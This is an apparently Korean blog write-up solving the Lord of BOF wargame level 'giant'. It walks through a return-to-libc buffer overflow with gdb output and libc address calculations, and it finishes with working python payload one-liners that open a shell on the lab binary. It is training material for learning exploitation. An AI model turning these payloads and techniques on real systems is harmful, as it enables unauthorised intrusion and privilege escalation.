[lob] bugbear -> giant

2022. 9. 15. 17:23·Wargame/Hackerchool
728x90
반응형

1. intro

 

2. code 및 분석

2.1  C code

/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

2.3. 분석

2.3.1. assembler code (중요 부분)

이번에는 ebp-60의 값과 ebp-56의 값을 비교해서 같으면 strcpy를 실행한다.

0x8048643 <main+227>:   mov    0xffffffc4(%ebp),%eax
0x8048646 <main+230>:   cmp    0xffffffc8(%ebp),%eax
0x8048649 <main+233>:   je     0x8048662 <main+258>

해당 위치의 값을 확인해보면 알 수 없는 값이 들어있는데 아래에서 다시 확인할 예정이다.

 

3. 취약점 확인 및 공격 준비

3.1 취약점

앞선 문제와 동일하다.

다만 특정 주소로의 return만 허용된다.

 

3.2 공격 준비

사실 C 코드를 보면 변수 명에서 다 드러나지만, gdb로만 분석하였다.

 

우선 gdb로 복사된 파일을 분석하려하면 오류가 다소 발생한다.

주요 사유가 권한이 없는 파일에 대한 ldd 명령이다.

그러므로 코드를 조금 수정해 다시 컴파일 후 gdb로 분석하였다.

 

수정부는 아래와 같다.

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/bugbear/giana | /bin/grep libc | /bin/awk '{print $4}'", "r");

컴파일 후 gdb로 위에서 확인하려했던 값이 어떤 값인지 보니 아래와 같았다.

[bugbear@localhost bugbear]$ gcc -o giana giana.c
[bugbear@localhost bugbear]$ gdb giana
(gdb) b *main + 230
Breakpoint 1 at 0x8048646
(gdb) r a
Starting program: /home/bugbear/giana a
/bin/bash2: /home/skeleton/.bashrc: Permission denied

Breakpoint 1, 0x8048646 in main ()
(gdb) x/x $eax
0x54534f48:     Cannot access memory at address 0x54534f48
(gdb) x/x $ebp - 60
0xbffffacc:     0x54534f48
(gdb) x/x $ebp - 56
0xbffffad0:     0x400a9d48
(gdb) x/x  0x400a9d48
0x400a9d48 <__execve>:  0x57e58955

즉, ret address 주소의 값이 execve 함수의 주소여야 한다.

 

execve 함수의 주소는 아래와 같이 다시 한번 구할 수 있으며 위의 값과 동일함을 알 수 있다.

[bugbear@localhost bugbear]$ ldd giant
        libc.so.6 => /lib/libc.so.6 (0x40018000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[bugbear@localhost bugbear]$ gdb /lib/libc.so.6
(gdb) p execve
$1 = {<text variable, no debug info>} 0x91d48 <__execve>
(gdb) p/x 0x40018000 + 0x91d48
$3 = 0x400a9d48

다만 문제점은 execve 함수의 주소가 0x400a9d48이며, 1 byte 씩 끊으면 중간에 개행 문자인 \x0a가 삽입되기에 페이로드가 삽입되지 않는다.

개행 문자는 아래와 같다.

10진수 16진수 문자 표기 설명
10 \x0a LF \n 개행
13 \x0d CR \r 복귀
9 \x09 TAP \t 수평 탭

이런 경우에는 쿼터로 한번 더 묶어주면 작동한다.

[bugbear@localhost bugbear]$ ./giant `python -c 'print "A"*44+"\x48\x9d\x0a\x40"'`
You must use execve!
[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@
Segmentation fault

 

그럼 execve 함수의 원형은 아래와 같은데, 그럼 인자는 어떻게 넣어야할까.

int execve(const char *filename, char *const argv[], char *const envp[]);

아래 링크를 다시 공부하고 오자.

 

함수 호출 규약. — think storage (tistory.com)

 

함수 호출 규약.

레지스터에 대한 기초를 이해하고 난 뒤에 봐야하는 글. https://wyv3rn.tistory.com/144 system hacking을 register 기초 1. register란 간단히 요약하자면, 프로그램이 실행되면 기본적으로 ram에 필요한 데이터..

wyv3rn.tistory.com

결론은 뒤에 써주면 알아서 호출하는 함수가 가져다 쓴다.

 

원형에 맞게 인자를 구성해보면 아래와 같다.

const char *filename /bin/sh 문자열의 주소
char *const argv[] /bin/sh 문자열의 주소를 값으로 쓰는 주소
char *const envp[] 0을 담고 있는 주소

 

우선 /bin/sh 문자열의 주소를 찾아보면 아래와 같다.

[bugbear@localhost bugbear]$ strings -tx /lib/libc.so.6 | grep /bin/sh
  e3ff9 /bin/sh
  e6587 /bin/sh
  e6595 /bin/sh
  e796a /bin/sh
  e81c7 /bin/sh
  e8778 /bin/sh

libc 파일에서 찾았기에 base 주소를 더해주면 

(gdb) p/x 0x40018000+0xe3ff9
$2 = 0x400fbff9

 

argv[]의 경우 페이로드 뒤에 적당히 값을 삽입한 뒤 이를 이용하자.

(gdb) r "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"'`"

Starting program: /home/bugbear/giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@BBBBCCCCH▒
@

Breakpoint 2, 0x8048688 in main ()
(gdb) x/40x $esp
0xbffffa9c:     0x400a9d48      0x400a9d48      0x00091d48      0x40018000
0xbffffaac:     0x08049908      0x41414141      0x41414141      0x41414141
0xbffffabc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffacc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffadc:     0x400a9d48      0x41414141      0x400fbff9      0x42424242
0xbffffaec:     0x43434343      0x400a9d48      0x08048400      0x00000000

하지만 이 값은 배열이기 때문에 /bin/sh의 주소값을 담은 위치 이후가 null 값이어야 다른 인자가 삽입되지 않는다.

현재는 0x08048400이기에 해당 값을 덮어 0x00000000과 이어지도록 만들어주자.

(gdb) r "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"*2'`"

Starting program: /home/bugbear/giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@BBBBCCCCH▒
@H▒
@

Breakpoint 2, 0x8048688 in main ()
(gdb) x/40x $esp
0xbffffa8c:     0x400a9d48      0x400a9d48      0x00091d48      0x40018000
0xbffffa9c:     0x08049908      0x41414141      0x41414141      0x41414141
0xbffffaac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffabc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffacc:     0x400a9d48      0x41414141      0x400fbff9      0x42424242
0xbffffadc:     0x43434343      0x400a9d48      0x400a9d48      0x00000000

 

마지막으로 envp는 null 값이면 되기에 argv의 0으로 만들어준 위치를 사용하자.

 

4. exploit

위를 토대로 페이로드를 작성해보면 아래와 같다.

[bugbear@localhost bugbear]$ ./giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\xe4\xfa\xff\xbf" + "\xe8\xfa\xff\xbf" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@▒▒▒▒▒▒▒▒H▒
@H▒
@
▒@▒▒▒▒▒▒▒▒H▒
@H▒
@: ▒@▒▒▒▒▒▒▒▒H▒
@H▒
@: No such file or directory

음... 정상적으로 값을 전달한 것 같은데 execve는 실행되었으나 그런 파일이 없다며 /bin/sh를 실행하지 못했다.

주소를 조금 변경해서 실행해 보았더니 오류 없이 아무 반응이 없다.

[bugbear@localhost bugbear]$ ./giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\xf4\xfa\xff\xbf" + "\xf8\xfa\xff\xbf" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@▒▒▒▒▒▒▒▒H▒
@H▒
@
[bugbear@localhost bugbear]$

혹시나 하여 exit 를 실행해보니 다시 shell로 돌아온 것을 보아 shell이 실행된 것을 알 수 있다.

[bugbear@localhost bugbear]$ exit
exit
[bugbear@localhost bugbear]$

 

본 파일에 실행

[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\xf4\xfa\xff\xbf" + "\xf8\xfa\xff\xbf" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@▒▒▒▒▒▒▒▒H▒
@H▒
@
U▒▒WVS▒: /home/bugbear/.bashrc: Permission denied
bash$ my-pass
euid = 514
one step closer
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Hackerchool' 카테고리의 다른 글

[lob] assassin -> zombie_assassin  (0) 2022.09.16
[lob] giant -> assassin  (0) 2022.09.16
[lob] darkknight -> bugbear  (0) 2022.09.15
[lob] golem -> darkknight  (0) 2022.09.15
[lob] skeleton -> golem  (0) 2022.09.14
'Wargame/Hackerchool' 카테고리의 다른 글
  • [lob] assassin -> zombie_assassin
  • [lob] giant -> assassin
  • [lob] darkknight -> bugbear
  • [lob] golem -> darkknight
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (517)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (75)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (322) N
        • pwn.college (34)
        • Dreamhack (156) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    rop
    hackerschool
    64bit
    la ctf
    heap
    ROOT ME
    _IO_FILE
    root
    Format String Bug
    FSB
    docker
    32bit
    RTL
    lob
    x64
    CANARY
    BOF
    cryptohack
    libc
    phoenix
    vtable
    x86
    pwnable.kr
    exploit education
    Buffer Overflow
    tcache
    Me
    root-me
    pwntools
    dreamhack
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[lob] bugbear -> giant
상단으로

티스토리툴바